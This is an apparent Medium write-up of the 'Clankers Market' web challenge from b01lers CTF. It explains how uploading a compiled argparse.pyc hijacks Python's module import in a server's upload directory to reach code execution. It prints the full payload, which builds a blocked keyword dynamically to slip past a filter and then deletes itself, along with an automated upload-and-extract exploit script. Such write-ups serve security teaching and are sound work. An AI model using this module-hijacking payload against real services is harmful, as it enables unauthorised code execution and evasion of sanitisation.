โ† Back to list

๐Ÿš€ From Fake Flag to Full RCE โ€” Clankers Market Writeup

Clankers Market | b01lers CTF Solved by: S0n1c_404

S0n1c_404 ยท 2026-04-24 19:16 ยท 0 claps ยท 4.5 min read
#cybersecurity #ctf #web-ctf-writeup #bug-bounty
Open on Medium โ†—
Wiki topics: ECO ยท Economy ยท General ๐Ÿ”’ ยท Cybersecurity

๐Ÿš€ From Fake Flag to Full RCE โ€” Clankers Market Writeup

Clankers Market | b01lers CTF Solved by: S0n1c_404

โ€œูˆูŽู‚ูู„ ุฑูŽู‘ุจูู‘ ุฒูุฏู’ู†ููŠ ุนูู„ู’ู…ู‹ุงโ€ โ€” [ุทู‡: 114]

๐Ÿง  First Look โ€” โ€œFree flag? No wayโ€ฆโ€

I opened the challenge.

Clean UI. Simple idea.

Upload โ†’ Run โ†’ Result.

Nothing scary.

So naturallyโ€ฆ

I uploaded a random file.

Clicked Run Clanker.

And thenโ€ฆ

โ€ฆ

๐Ÿ’ฅ A flag appeared.

๐Ÿ–ผ๏ธ Screenshot 1 โ€” Initial Interface

๐Ÿคจ Somethingโ€™s Wrongโ€ฆ

It felt too easy.

CTFs donโ€™t just hand you flags like that.

So I submitted it.

โŒ Wrong.

๐Ÿงฉ โ€œOkayโ€ฆ now itโ€™s interestingโ€

Thatโ€™s when I knew:

This is a trap challenge

So I switched modes:

๐Ÿง‘โ€๐Ÿ’ป From user โ†’ to attacker mindset

๐Ÿ” Step 1 โ€” Intercept Everything

Opened Burp Suite.

Intercept ON.

Started playing with the request:

  • File name manipulation
  • Content-Type tampering
  • Parameter injection

Nothing.

Dead.

๐Ÿงช Step 2 โ€” Attack the File Itself

If the request is cleanโ€ฆ

Then maybe the payload is inside the file.

So I tried:

  • Command injection
  • Reverse shells
  • JS payloads
  • Anything executable

Still nothing.

๐ŸงŠ Dead Endโ€ฆ

At this pointโ€ฆ

No injection. No errors. No weird responses.

Just silence.

๐Ÿ” Step 3 โ€” Back to Code (The Smart Move)

When everything failsโ€ฆ

๐Ÿ‘‰ Go back to the source

And this is where things changed.

โš ๏ธ Weird Things I Noticed

๐Ÿ“ Upload Path

/tmp/git_storage/

๐Ÿงน Sanitization

  • Blocks .py, .sh
  • Deletes anything containing git

๐Ÿงจ And then THIS:

python3 -m http.server 12345

๐Ÿ’ก BOOM โ€” The Realization

This lineโ€ฆ

This exact lineโ€ฆ

Was the vulnerability.

๐Ÿง  Why?

Because:

Python loads modules from the current directory FIRST

And guess what?

๐Ÿ‘‰ The current directory = my uploaded files

๐Ÿ˜ˆ Now itโ€™s not an uploadโ€ฆ

Itโ€™s code execution.

๐ŸŽฏ Target: argparse

I checked imports:

import argparse

Perfect.

๐Ÿงฌ The Idea

What ifโ€ฆ

I upload:

argparse.pyc

Then Python will:

โŒ Import real module โœ… Import MY payload

๐Ÿšง Bypassing Filters

Problem 1:

.py blocked โŒ โ†’ Use .pyc โœ…

Problem 2:

git keyword blocked โŒ โ†’ Build it dynamically โœ…

๐Ÿ’ฃ Payload Logic

  • Create .git/description
  • Write fake key: sk-ant-
  • Execute:

/usr/local/bin/read-flag

  • Save flag inside file
  • Delete itself
  • Restore original module

Payload Code

import py_compile
import os
import sys
# 1. Generate the payload
payload = """import os, sys
# Construct git without the literal string to bypass grep deletion
folder_chars = ['g', 'i', 't']
path = "." + "".join(folder_chars) + "/description"
# Write our fake key and append the actual flag using the SUID binary
with open(path, "w") as f:
    f.write("sk-ant-")
os.system(f"/usr/local/bin/read-flag >> {path}")
# Delete ourselves and restore the real argparse to prevent http.server from crashing
try:
    os.remove("argparse.pyc")
except:
    pass
if "argparse" in sys.modules:
    del sys.modules["argparse"]
import argparse
sys.modules["argparse"] = argparse
"""
with open("payload.py", "w") as f:
    f.write(payload)
# Compile to pyc
# We name it argparse.pyc because http.server imports argparse
py_compile.compile("payload.py", cfile="argparse.pyc")
os.remove("payload.py")
print("[+] Payload compiled as argparse.pyc")

๐Ÿš€ Execution (Manual Way)

Uploaded:

๐Ÿ‘‰ argparse.pyc

Clicked:

๐Ÿ‘‰ Run Clanker

Waitedโ€ฆ

๐Ÿ–ผ๏ธ Screenshot 4 โ€” Upload + Run

๐Ÿ† FLAG.

bctf{d1d_you_get_rce_from_checkout??I_tried_my_best_to_limit_but_clanker_too_good_now!!!}

Appeared inside:

๐Ÿ‘‰ Leaked Anthropics API Key

๐Ÿ–ผ๏ธ Screenshot 5 โ€” Flag

โšก But I Didnโ€™t Stop Thereโ€ฆ

Manual exploitation is good.

But real hackers donโ€™t stop at manual.

๐Ÿค– Automation Mode ON

I built a Python script that:

  • Registers automatically
  • Logs in
  • Uploads payload
  • Extracts flag

๐Ÿ’ป Automation Code

import requests
import py_compile
import os
import sys
# 1. Generate the payload
payload = """import os, sys
# Construct git without the literal string to bypass grep deletion
folder_chars = ['g', 'i', 't']
path = "." + "".join(folder_chars) + "/description"
# Write our fake key and append the actual flag using the SUID binary
with open(path, "w") as f:
    f.write("sk-ant-")
os.system(f"/usr/local/bin/read-flag >> {path}")
# Delete ourselves and restore the real argparse to prevent http.server from crashing
try:
    os.remove("argparse.pyc")
except:
    pass
if "argparse" in sys.modules:
    del sys.modules["argparse"]
import argparse
sys.modules["argparse"] = argparse
"""
with open("payload.py", "w") as f:
    f.write(payload)
# Compile to pyc
# We name it argparse.pyc because http.server imports argparse
py_compile.compile("payload.py", cfile="argparse.pyc")
os.remove("payload.py")
print("[+] Payload compiled as argparse.pyc")
def exploit(target_url):
    session = requests.Session()

    # 2. Register an account
    username = os.urandom(4).hex()
    password = "password"
    print(f"[+] Registering with user: {username}:password")

    resp = session.post(f"{target_url}/register", data={
        "username": username,
        "password": password
    })

    if "Username already exists" in resp.text:
        # Just login
        session.post(f"{target_url}/login", data={
            "username": username,
            "password": password
        })

    # 3. Upload our pyc file
    print("[+] Uploading argparse.pyc payload")
    with open("argparse.pyc", "rb") as f:
        files = {
            'file': ('argparse.pyc', f, 'application/octet-stream')
        }
        resp = session.post(f"{target_url}/clanker-feature", files=files)

    if "bctf" in resp.text:
        print("[+] SUCCESS! Retrieved the flag:")
        # Try to parse the flag from the response
        import re
        flag_match = re.search(r'(bctf\{.*?\})', resp.text)
        if flag_match:
            print(flag_match.group(1))
        else:
            print(resp.text)
    else:
        print("[-] Exploit failed or flag not found in the response :(")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target_url>")
        print("Example: python3 exploit.py http://challenge.blue.ctf:5000")
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    exploit(target_url)

๐Ÿง  Why This Matters

This challenge wasnโ€™t about:

  • XSS
  • SQLi
  • Command injection

It was about:

Understanding how systems behave internally

โš ๏ธ The Real Vulnerability

โœ” Python Module Hijacking โœ” Unsafe execution context โœ” Weak sanitization

๐Ÿ”ฅ Mindset Takeaway

This is the most important part:

๐Ÿง  Think outside the box.

Not every challenge is:

  • Inject payload โ†’ get shell

Sometimes:

  • You fail
  • You retry
  • You rethink
  • You go deeper

๐Ÿ’ฌ Real Lesson

You tried:

  • Requests โŒ
  • Payloads โŒ
  • Injection โŒ

And still failed.

Butโ€ฆ

You didnโ€™t stop.

๐Ÿš€ Thatโ€™s the difference

Between:

๐Ÿง‘โ€๐Ÿ’ป Someone who solves challenges and ๐Ÿ”ฅ Someone who understands systems

๐Ÿงฉ Final Thought

Thereโ€™s always another way.

Manual. Automation. Logic abuse. System behavior.

You just need to expand your mindset enough to see it

๐Ÿ‘จโ€๐Ÿ’ป About Me

S0n1c_404 (Mostafa Mohamed) Cybersecurity | Web Exploitation | CTF Player

๐Ÿ”— https://www.linkedin.com/in/mostafa-mohamed-ahmed-870560252/


๋ฉ”ํƒ€๋ฐ์ดํ„ฐ
post_id
4e9532bcb551
slug
from-fake-flag-to-full-rce-clankers-market-writeup-4e9532bcb551
url
https://medium.com/@S0n1c_404/from-fake-flag-to-full-rce-clankers-market-writeup-4e9532bcb551
canonical_url
https://medium.com/@S0n1c_404/from-fake-flag-to-full-rce-clankers-market-writeup-4e9532bcb551
author_url
https://medium.com/@S0n1c_404
status
ok
fetched_at
2026-07-10 14:51:46